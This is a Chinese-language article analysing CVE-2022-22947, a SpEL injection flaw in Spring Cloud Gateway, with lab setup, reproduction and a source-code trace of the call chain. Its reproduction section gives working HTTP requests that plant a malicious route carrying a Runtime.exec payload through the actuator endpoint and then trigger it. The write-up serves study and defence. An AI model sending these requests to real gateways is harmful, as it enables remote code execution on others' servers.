长亭百川云 - 文章详情

CVE-2022-22947 Spring Cloud Gateway漏洞分析从0到1

小陈的Life

54

2024-07-13

戳上面的蓝字关注我吧!


01 创建SpringCloud Gateway项目

这里我使用IDEA开发工具创建SpringCloud Gateway项目,来复现本次的漏洞。

首先新建一个项目,选中Spring Initializr并点击下一步

之后在选择依赖的时候选择Spring Cloud Routing -> Gateway和Ops->Spring Boot Actuator两个选项

之后的pom文件中大致如下:

`<?xml version="1.0" encoding="UTF-8"?>``<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"`         `xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">`    `<modelVersion>4.0.0</modelVersion>`    `<parent>`        `<groupId>org.springframework.boot</groupId>`        `<artifactId>spring-boot-starter-parent</artifactId>`        `<version>2.6.4</version>`        `<relativePath/> <!-- lookup parent from repository -->`    `</parent>`    `<groupId>com.springcloud</groupId>`    `<artifactId>gatewaydemo</artifactId>`    `<version>0.0.1-SNAPSHOT</version>`    `<name>gatewaydemo</name>`    `<description>Demo project for Spring Boot</description>`    `<properties>`        `<java.version>1.8</java.version>`        `<spring-cloud.version>2021.0.1</spring-cloud.version>`    `</properties>`    `<dependencies>`        `<dependency>`            `<groupId>org.springframework.cloud</groupId>`            `<artifactId>spring-cloud-starter-gateway</artifactId>`            `<version>3.1.0</version>`        `</dependency>``   `        `<dependency>`            `<groupId>org.springframework.boot</groupId>`            `<artifactId>spring-boot-starter-test</artifactId>`            `<scope>test</scope>`        `</dependency>`        `<dependency>`            `<groupId>org.springframework.boot</groupId>`            `<artifactId>spring-boot-starter-actuator</artifactId>`        `</dependency>`    `</dependencies>``   ``   `    `<build>`        `<plugins>`            `<plugin>`                `<groupId>org.springframework.boot</groupId>`                `<artifactId>spring-boot-maven-plugin</artifactId>`            `</plugin>`        `</plugins>`    `</build>``</project>`

记得一定要删掉spring-cloud的dependencyManagement依赖,并修改gateway的版本为有漏洞的版本,不然会报SpelEvaluationException错误

02 部署路由服务

先来看一下Gateway官方给出的架构图

主要分为以下三个组成:

  • Route(路由):这是网关的基本构建块。它由一个 ID,一个目标 URI,一组断言和一组过滤器定义。如果断言为真,则路由匹配。

  • Predicate(断言):这是一个 Java 8 的 Predicate。输入类型是一个 ServerWebExchange。我们可以使用它来匹配来自 HTTP 请求的任何内容,例如 headers 或参数。

  • Filter(过滤器):这是org.springframework.cloud.gateway.filter.GatewayFilter的实例,我们可以使用它修改请求和响应。

Gateway可以处理很多请求的转发,如上述架构图中,Gateway客户端发送请求给Spring Cloud Gateway,然后在Mapping中找到与之匹配的请求,并发送到相应的Gateway Web Handler,再经过一系列定义的Filter中,到达代理服务层面。并将其获取的内容反馈给Gateway Client请求。

根据之前用IDEA创建的项目,可以尝试编写第一个转发demo。

内容很简单,找到spring的配置文件application.yml,编写一个转发到本地8080端口上的路由

`server:`    `port: 8096``   ``#微服务名称``spring:`    `cloud:`        `gateway:`            `routes:`                `- id: find`                  `uri: http://127.0.0.1:8080`                  `predicates:`                  `- Path=/images/index.html`

至此就编写完成了,当访问本地http://localhost:8096/images/index.html的时候,Spring Cloud Gateway就会将请求内容自动解析到8080端口上开启的服务。

03 漏洞复现

复现漏洞之前呢,需要将gateway接口向actuator暴露,因此需要在application.yml文件中再添加如下配置:

`management:`  `endpoint:`    `gateway:`      `enabled: true`  `endpoints:`    `web:`      `exposure:`        `include: gateway`

之后启动服务,访问http://localhost:8096/actuator/gateway/routes就可以看到注册好的服务了

之后用POST请求如下地址,来添加一个自定义的路由:

`POST /actuator/gateway/routes/hacktest HTTP/1.1``Host: localhost:8096``Content-Type: application/json``Content-Length: 185``   ``{`  `"id":"hacktest",`  `"filters":[{`    `"name":"RewritePath",`    `"args":{`      `"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}",`      `"_genkey_1": "/${path}"`    `}`  `}]``}`

添加完成之后目标会返回一个201 Created状态码,之后继续访问/refresh来刷新路由

`POST /actuator/gateway/refresh HTTP/1.1``Host: localhost:8096`

04 Gateway源码分析

漏洞分析之前首先就得了解Gateway是如何搭配上Actuator和Gateway是如何解析路由中的Route的。

RouteLocator

RouteLocator是路由定位器,是用来获取路由的方法。其实现该接口的主要组成类有多种,但本次分析漏洞只需要重点了解以下两种:

  • RouteDefinitionRouteLocator:基于路由定义的定位器,也是RouteLocator的主要实现类

  • CachingRouteLocator 基于缓存的路由定位器

  • CompositeRouteLocator:基于组合方式的路由定位器

RouteDefinitionRouteLocator

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator是RouteLocator的一个实现类,其主要从 RouteDefinitionLocator会通过getRouteDefinitions()方法来获取 RouteDefinition,并将其转换成Route。

再从代码层面来仔细看看这个转换的过程

`public Flux<Route> getRoutes() {`    `Flux<Route> routes = this.routeDefinitionLocator.getRouteDefinitions().map(this::convertToRoute);`    `if (!this.gatewayProperties.isFailOnRouteDefinitionError()) {`        `routes = routes.onErrorContinue((error, obj) -> {`            `if (this.logger.isWarnEnabled()) {`                `this.logger.warn("RouteDefinition id " + ((RouteDefinition)obj).getId() + " will be ignored. Definition has invalid configs, " + error.getMessage());`            `}``   `        `});`    `}``   `    `return routes.map((route) -> {`        `if (this.logger.isDebugEnabled()) {`            `this.logger.debug("RouteDefinition matched: " + route.getId());`        `}``   `        `return route;`    `});``}`

getRoutes方法首先通过this.routeDefinitionLocator.getRouteDefinitions()获取到了所有的RouteDefinition

之后再通过this::convertToRoute方法将每个RouteDefinition转换成Route

CachingRouteLocator

org.springframework.cloud.gateway.route.CachingRouteLocator,缓存路由的RouteLocator实现

该RouteLocator实现了ApplicationListener接口,主要是监听RefreshRoutesEvent事件。

CompositeRouoteLocator

这个上面有粗略介绍过,这是一个组合的路由定位器,其主要的方式是把RouteDefinitionRouteLocator和自定义的Route Locator作为自己的delegates,在需要取所有Route的时候,就会委派自己的delegates去取,然后将其结果合并返回。

RefreshRoutesEvent

这个就不过多解释了,就是一个刷新路由的事件。

源码分析总结

用最后的话分析就是CachingRouteLocator它包装了CompositeRouteLocator,而CompositeRouteLocator则组合了RouteDefinitionRouteLocator。而CachingRouteLocator集成了RefreshRoutesEvent接口,所以之后的刷新请求就会走到CachingRouteLocator中处理。

05 漏洞分析

先找到org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint类,该类是Actuator访问的Controller处理器,这里添加路由我就不往下分析了,直接看刷新路由的过程。

GatewayControllerEndpoint类集成了org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint类,而该类里面,有一个定义好的Post请求,可以发送RefreshRoutesEvent刷新路由。

`@PostMapping({"/refresh"})``public Mono<Void> refresh() {`    `this.publisher.publishEvent(new RefreshRoutesEvent(this));`    `return Mono.empty();``}`

其发送的就是一个RefreshRouteEvent事件。

之后流程会进入到org.springframework.context.support.AbstractApplicationContext#publishEvent中处理

之后RefreshRouteEvent会按照正常流程进入multicastEvent中,这里我直接跟到图中显示的doInvokeListener方法中

这里就会直接进入到org.springframework.cloud.gateway.route.CachingRouteLocator#onApplicationEvent中

而在onApplicationEvent方法中又会调用this.fetch()

`private Flux<Route> fetch() {`    `return this.delegate.getRoutes().sort(AnnotationAwareOrderComparator.INSTANCE);``}`

之后程序又跟入org.springframework.cloud.gateway.route.CompositeRouteLocator#getRoutes

这里又继续调用了RouteDefinitionRouteLocator#getRoutes方法,就到了我们刚才分析源码的时候提到过的流程,在这里会调用getRouteDefinitions()获取RouteDefinition来转换成Route。

这里进入convertToRoute方法后重点关注RouteDefinitionRouteLocator#getFilters方法

`private List<GatewayFilter> getFilters(RouteDefinition routeDefinition) {`    `List<GatewayFilter> filters = new ArrayList();`    `if (!this.gatewayProperties.getDefaultFilters().isEmpty()) {`        `filters.addAll(this.loadGatewayFilters(routeDefinition.getId(), new ArrayList(this.gatewayProperties.getDefaultFilters())));`    `}``   `    `if (!routeDefinition.getFilters().isEmpty()) {`        `filters.addAll(this.loadGatewayFilters(routeDefinition.getId(), new ArrayList(routeDefinition.getFilters())));`    `}``   `    `AnnotationAwareOrderComparator.sort(filters);`    `return filters;``}`

这里会调用this.loadGatewayFilters()中通过GatewayFilterFactory来创建一个Filter

factory.apply(configuration)

但是在创建Filter之前,也就是封装configuration的时候,在bind的信息的时候,我们的Spel表达式执行了

`Object configuration = this.configurationService.with(factory).name(definition.getName()).properties(definition.getArgs()).eventFunction((bound, properties) -> {`    `return new FilterArgsEvent(this, id, (Map)properties);``}).bind();`

进入到org.springframework.cloud.gateway.support.ConfigurationService#bind方法中

跟踪发现,在bind的方法里面会调用normalizeProperties方法

`protected Map<String, Object> normalizeProperties() {`    `return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties();``}`

之后就进入org.springframework.cloud.gateway.support.ShortcutConfigurable$ShortcutType$1#normalize方法

流程走到org.springframework.expression.spel.standard.SpelExpression.getValue中

`static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {`    `String rawValue = entryValue;`    `if (entryValue != null) {`        `rawValue = entryValue.trim();`    `}``   `    `Object value;`    `if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {`        `StandardEvaluationContext context = new StandardEvaluationContext();`        `context.setBeanResolver(new BeanFactoryResolver(beanFactory));`        `Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());`        `value = expression.getValue(context);`    `} else {`        `value = entryValue;`    `}``   `    `return value;``}`

而调用getValue传入的entryValue参数内容就是恶意的Spel表达式

#{T(java.lang.Runtime).getRuntime().exec("calc")}

至此漏洞形成,弹出Calc!

最后的调用堆栈大致如下:

`CachingRouteLocator#onApplicationEvent`  `CachingRouteLocator#fetch`    `CompositeRouteLocator#getRoutes`      `RouteDefinitionRouteLocator#getRoutes`        `RouteDefinitionRouteLocator#convertToRoute`          `RouteDefinitionRouteLocator#getFilters`            `RouteDefinitionRouteLocator#loadGatewayFilters`              `ConfigurationService$AbstractBuilder#bind`                `ConfigurationService$ConfigurableBuilder#normalizeProperties`                  `ShortcutConfigurable$ShortcutType$1#normalize`                    `ShortcutConfigurable#getValue`

06 Reference

[1].https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

[2].https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

[3].https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

[4].https://blog.csdn.net/weixin\_42073629/article/details/106912670

[5].https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/

[6].https://zhuanlan.zhihu.com/p/359395390


相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2